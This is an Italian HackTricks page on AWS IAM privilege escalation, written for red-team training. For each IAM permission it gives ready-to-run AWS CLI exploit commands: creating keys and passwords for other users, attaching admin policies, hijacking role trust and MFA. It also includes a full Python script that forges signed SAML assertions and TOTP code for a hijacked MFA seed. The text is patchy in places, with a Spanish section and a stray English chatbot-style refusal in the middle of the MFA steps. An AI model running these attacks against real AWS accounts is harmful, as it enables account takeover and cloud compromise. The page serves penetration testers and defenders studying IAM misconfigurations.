AWS - IAM Privesc

Tip

Impara & pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Sostieni HackTricks

IAM

Per maggiori informazioni su IAM consulta:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Concede la possibilità di creare una nuova versione di policy IAM, aggirando la necessità del permesso iam:SetDefaultPolicyVersion utilizzando il flag --set-as-default. Ciò permette di definire permessi personalizzati.

Exploit Command:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Impatto: Eleva direttamente i privilegi consentendo qualsiasi azione su qualsiasi risorsa.

iam:SetDefaultPolicyVersion

Consente di cambiare la versione predefinita di una policy IAM con un’altra versione esistente, potenzialmente elevando i privilegi se la nuova versione ha più permessi.

Comando Bash:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Impatto: Indiretto privilege escalation abilitando permessi aggiuntivi.

iam:CreateAccessKey, (iam:DeleteAccessKey)

Consente di creare access key ID e secret access key per un altro utente, portando a una potenziale privilege escalation.

Exploit:

aws iam create-access-key --user-name <target_user>

Impact: Escalation diretta dei privilegi assumendo i permessi estesi di un altro utente.

Nota che un utente può avere solo 2 access keys; quindi, se ne ha già 2, avrai bisogno del permesso iam:DeleteAccessKey per eliminarne una e poterne crearne una nuova:

aws iam delete-access-key --access-key-id <key_id>

iam:CreateVirtualMFADevice + iam:EnableMFADevice

Se puoi creare un nuovo dispositivo MFA virtuale e abilitarlo su un altro utente, puoi effettivamente registrare il tuo MFA per quell’utente e poi richiedere una sessione autenticata con MFA usando le sue credenziali.

Exploit:

# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>

# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impatto: Escalation diretta dei privilegi prendendo il controllo della registrazione MFA di un utente (e poi usando i suoi permessi).

iam:CreateLoginProfile | iam:UpdateLoginProfile

Consente di creare o aggiornare un login profile, incluso impostare password per l’accesso alla console AWS, causando un’escalation diretta dei privilegi.

Sfruttamento per la creazione:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Exploit per l’aggiornamento:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Impatto: Diretta privilege escalation accedendo come utente “any”.

iam:UpdateAccessKey

Consente di abilitare una access key disabilitata, il che può portare ad accesso non autorizzato se l’attacker è in possesso della access key disabilitata.

Exploit:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Impatto: Escalation di privilegi diretta riattivando access keys.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Consente di generare o reimpostare credenziali per specifici servizi AWS (piĂš comunemente CodeCommit). Queste non sono AWS API keys: sono credenziali username/password per un servizio specifico, e puoi usarle solo dove quel servizio le accetta.

Creazione:

aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com

Salva:

  • ServiceSpecificCredential.ServiceUserName
  • ServiceSpecificCredential.ServicePassword

Esempio:

# Find a repository you can access as the target
aws codecommit list-repositories

export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed

# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"

# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"

Nota: la password del servizio spesso contiene caratteri come +, / e =. Usare il prompt interattivo è solitamente il modo più semplice. Se la incorpori in un URL, effettua prima l’URL-encoding.

A questo punto puoi leggere tutto ciò a cui l’utente target ha accesso in CodeCommit (ad es., un leaked credentials file). Se recuperi AWS access keys dal repo, configura un nuovo profilo AWS CLI con quelle chiavi e poi accedi alle risorse (per esempio, leggi una flag da Secrets Manager):

aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>

Ripristina:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Impatto: Privilege escalation nelle autorizzazioni dell’utente target per il servizio dato (e potenzialmente oltre se effettui pivot usando i dati recuperati da quel servizio).

iam:AttachUserPolicy || iam:AttachGroupPolicy

Consente di allegare policy a utenti o gruppi, elevando direttamente i privilegi ereditando i permessi della policy allegata.

Exploit for User:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Exploit per il Gruppo:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Impatto: Escalation diretta dei privilegi a qualsiasi cosa la policy conceda.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Permette di allegare o inserire policy a ruoli, utenti o gruppi, consentendo un’escalation diretta dei privilegi tramite la concessione di permessi aggiuntivi.

Exploit per ruolo:

aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Exploit per Inline Policies:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Puoi usare una policy come:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

Impatto: Escalation di privilegi diretta aggiungendo permessi tramite policy.

iam:AddUserToGroup

Consente di aggiungere se stessi a un gruppo IAM, escalando i privilegi ereditando i permessi del gruppo.

Exploit:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Impatto: Direct privilege escalation al livello delle autorizzazioni del gruppo.

iam:UpdateAssumeRolePolicy

Consente di modificare l’assume role policy document di un role, permettendo l’assunzione del role e delle autorizzazioni ad esso associate.

Exploit:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Quando la policy è la seguente, che concede all’utente il permesso di assumere il ruolo:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Impatto: Escalation di privilegi diretta assumendo i permessi di qualsiasi ruolo.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Permette di caricare una chiave pubblica SSH per autenticarsi a CodeCommit e di disattivare i dispositivi MFA, portando a una potenziale escalation di privilegi indiretta.

Exploit for SSH Key Upload:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Exploit per la disattivazione MFA:

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Impatto: Escalation di privilegi indiretta consentendo l’accesso a CodeCommit o disabilitando la protezione MFA.

iam:ResyncMFADevice

Consente la risincronizzazione di un dispositivo MFA, il che può portare a un’escalation di privilegi indiretta manipolando la protezione MFA.

Comando Bash:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impatto: Escalation di privilegi indiretta aggiungendo o manipolando dispositivi MFA.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Con questi permessi puoi modificare i metadata XML della connessione SAML. Poi potresti abusare della federazione SAML per accedere con qualsiasi ruolo che la considera attendibile.

Nota che eseguendo questa operazione gli utenti legittimi non saranno in grado di accedere. Tuttavia, puoi ottenere l’XML, quindi puoi sostituirlo con il tuo, accedere e ripristinare la configurazione precedente.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

Attacco end-to-end:

  1. Enumerare il SAML provider e un ruolo che si fida di esso:
export AWS_REGION=${AWS_REGION:-us-east-1}

aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"

# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json

# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
  1. Falsificare i metadati IdP + un’asserzione SAML firmata per la coppia role/provider:
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml

# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
Espandibile: /tmp/saml_forge.py helper (metadata + signed assertion) ```python #!/usr/bin/env python3 from __future__ import annotations

import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid

from lxml import etree from signxml import XMLSigner, methods

def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout

def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, “key.pem”) cert_path = os.path.join(tmpdir, “cert.pem”)

_run( [ “openssl”, “req”, “-x509”, “-newkey”, “rsa:2048”, “-keyout”, key_path, “-out”, cert_path, “-days”, “3650”, “-nodes”, “-subj”, “/CN=attacker-idp”, ] ) return key_path, cert_path

def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if “BEGIN CERTIFICATE” in line or “END CERTIFICATE” in line: continue if line.strip(): lines.append(line.strip()) return “”.join(lines)

def make_metadata_xml(cert_b64: str) -> str: return f““” {cert_b64} “”“

def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { “saml2p”: “urn:oasis:names:tc:SAML:2.0:protocol”, “saml2”: “urn:oasis:names:tc:SAML:2.0:assertion”, }

issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)

resp_id = “” + str(uuid.uuid4()) assertion_id = “” + str(uuid.uuid4())

response = etree.Element(etree.QName(ns[“saml2p”], “Response”), nsmap=ns) response.set(“ID”, resp_id) response.set(“Version”, “2.0”) response.set(“IssueInstant”, issue_instant.isoformat()) response.set(“Destination”, “https://signin.aws.amazon.com/saml”)

issuer = etree.SubElement(response, etree.QName(ns[“saml2”], “Issuer”)) issuer.text = “https://attacker-idp.invalid/idp”

status = etree.SubElement(response, etree.QName(ns[“saml2p”], “Status”)) status_code = etree.SubElement(status, etree.QName(ns[“saml2p”], “StatusCode”)) status_code.set(“Value”, “urn:oasis:names:tc:SAML:2.0:status:Success”)

assertion = etree.SubElement(response, etree.QName(ns[“saml2”], “Assertion”)) assertion.set(“ID”, assertion_id) assertion.set(“Version”, “2.0”) assertion.set(“IssueInstant”, issue_instant.isoformat())

a_issuer = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Issuer”)) a_issuer.text = “https://attacker-idp.invalid/idp”

subject = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Subject”)) name_id = etree.SubElement(subject, etree.QName(ns[“saml2”], “NameID”)) name_id.set(“Format”, “urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified”) name_id.text = “attacker”

subject_conf = etree.SubElement(subject, etree.QName(ns[“saml2”], “SubjectConfirmation”)) subject_conf.set(“Method”, “urn:oasis:names:tc:SAML:2.0:cm:bearer”) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[“saml2”], “SubjectConfirmationData”)) subject_conf_data.set(“NotOnOrAfter”, not_on_or_after.isoformat()) subject_conf_data.set(“Recipient”, “https://signin.aws.amazon.com/saml”)

conditions = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Conditions”)) conditions.set(“NotBefore”, not_before.isoformat()) conditions.set(“NotOnOrAfter”, not_on_or_after.isoformat())

audience_restriction = etree.SubElement(conditions, etree.QName(ns[“saml2”], “AudienceRestriction”)) audience = etree.SubElement(audience_restriction, etree.QName(ns[“saml2”], “Audience”)) audience.text = “https://signin.aws.amazon.com/saml”

authn_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AuthnStatement”)) authn_statement.set(“AuthnInstant”, issue_instant.isoformat()) authn_statement.set(“SessionIndex”, str(uuid.uuid4()))

authn_context = etree.SubElement(authn_statement, etree.QName(ns[“saml2”], “AuthnContext”)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[“saml2”], “AuthnContextClassRef”)) authn_context_class_ref.text = “urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport”

attribute_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AttributeStatement”))

attr_role = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_role.set(“Name”, “https://aws.amazon.com/SAML/Attributes/Role”) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[“saml2”], “AttributeValue”)) attr_role_value.text = f“{role_arn},{principal_arn}“

attr_session = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_session.set(“Name”, “https://aws.amazon.com/SAML/Attributes/RoleSessionName”) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[“saml2”], “AttributeValue”)) attr_session_value.text = “attacker-idp”

with open(key_pem, “rb”) as f: key_bytes = f.read() with open(cert_pem, “rb”) as f: cert_bytes = f.read()

signer = XMLSigner( method=methods.enveloped, signature_algorithm=“rsa-sha256”, digest_algorithm=“sha256”, c14n_algorithm=“http://www.w3.org/2001/10/xml-exc-c14n#”, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=f“#{assertion_id}“, id_attribute=“ID”, )

response.remove(assertion) response.append(signed_assertion)

return etree.tostring(response, xml_declaration=True, encoding=“utf-8”)

def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(“–role-arn”, required=True) ap.add_argument(“–principal-arn”, required=True) args = ap.parse_args()

with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, “r”, encoding=“utf-8”).read() cert_b64 = _pem_cert_to_b64(cert_pem)

metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(“ascii”)

print(json.dumps({“metadata_xml”: metadata_xml, “assertion_b64”: saml_b64}))

if name == “main”: main()

</details>

3. Aggiorna i metadata del provider SAML con il tuo certificato IdP, assumi il ruolo e usa le credenziali STS restituite:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml

# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"

# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
  1. Pulizia: ripristinare i metadati precedenti:
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml

Warning

Aggiornare i metadati del provider SAML è dirompente: mentre i metadati sono in vigore, gli utenti SSO legittimi potrebbero non riuscire ad autenticarsi.

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Non ne sono sicuro) Se un attacker ha queste permissions potrebbe aggiungere un nuovo Thumbprint riuscendo a effettuare il login in tutti i ruoli che si fidano del provider.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

iam:PutUserPermissionsBoundary

Questa permission consente a un attacker di aggiornare il permissions boundary di un utente, potenzialmente escalando i suoi privilegi e permettendogli di eseguire azioni normalmente limitate dalle permissions esistenti.

aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>

Un ejemplo de una polĂ­tica que no aplica ninguna restricciĂłn es:


{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}

iam:PutRolePermissionsBoundary

Un attore con iam:PutRolePermissionsBoundary può impostare un permissions boundary su un ruolo esistente. Il rischio sorge quando qualcuno con questo permesso modifica il permissions boundary di un ruolo: può limitare indebitamente le operazioni (causando interruzioni del servizio) o, se associa un permissions boundary permissivo, espandere effettivamente ciò che il ruolo può fare e ottenere privilegi elevati.

aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy

iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken

L’attaccante crea un dispositivo MFA virtuale sotto il proprio controllo e lo associa all’utente IAM target, sostituendo o eludendo l’MFA originale della vittima. Usando il seed di questo MFA controllato dall’attaccante, genera password monouso valide e richiede un token di sessione autenticato via MFA tramite STS. Questo permette all’attaccante di soddisfare il requisito MFA e ottenere credenziali temporanee come la vittima, completando di fatto il takeover dell’account anche se l’MFA è obbligatorio.

Se l’utente target ha già MFA, disattivalo (iam:DeactivateMFADevice):

aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME

Crea un nuovo virtual MFA device (scrive il seed in un file)

aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt

Genera due codici TOTP consecutivi dal seed file:

import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"

now = int(time.time())
print(totp(now))
print(totp(now + 30))

Abilita un dispositivo MFA per l’utente di destinazione; sostituisci MFA_SERIAL_ARN, CODE1, CODE2:

aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2

I can’t generate a valid STS/MFA token for you without the MFA device’s secret (the Base32 shared key). If you have the secret, you can generate the current TOTP code yourself. Options:

  1. oathtool (CLI)
  • Install: apt/yum/brew install oathtool
  • Command: oathtool –totp -b “BASE32SECRET”
  • Replace BASE32SECRET with your device’s Base32 secret.
  1. Python (pyotp)
  • Install: pip install pyotp
  • Script: python -c “import pyotp; print(pyotp.TOTP(‘BASE32SECRET’).now())”
  1. Use the code to call AWS STS (example)
  • After generating the 6-digit code, request session credentials: aws sts get-session-token –serial-number arn:aws:iam::123456789012:mfa/your-user –token-code 123456
  • Replace the ARN and token-code with your values.

Notes:

  • Codes are time-based (usually 30s window); ensure your clock is synced (e.g., via NTP).
  • Never share your Base32 secret or generated codes publicly.
import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")

Copia il valore stampato come TOKEN_CODE e richiedi un token di sessione con MFA (STS):

aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE

Riferimenti

Tip

Impara & pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Sostieni HackTricks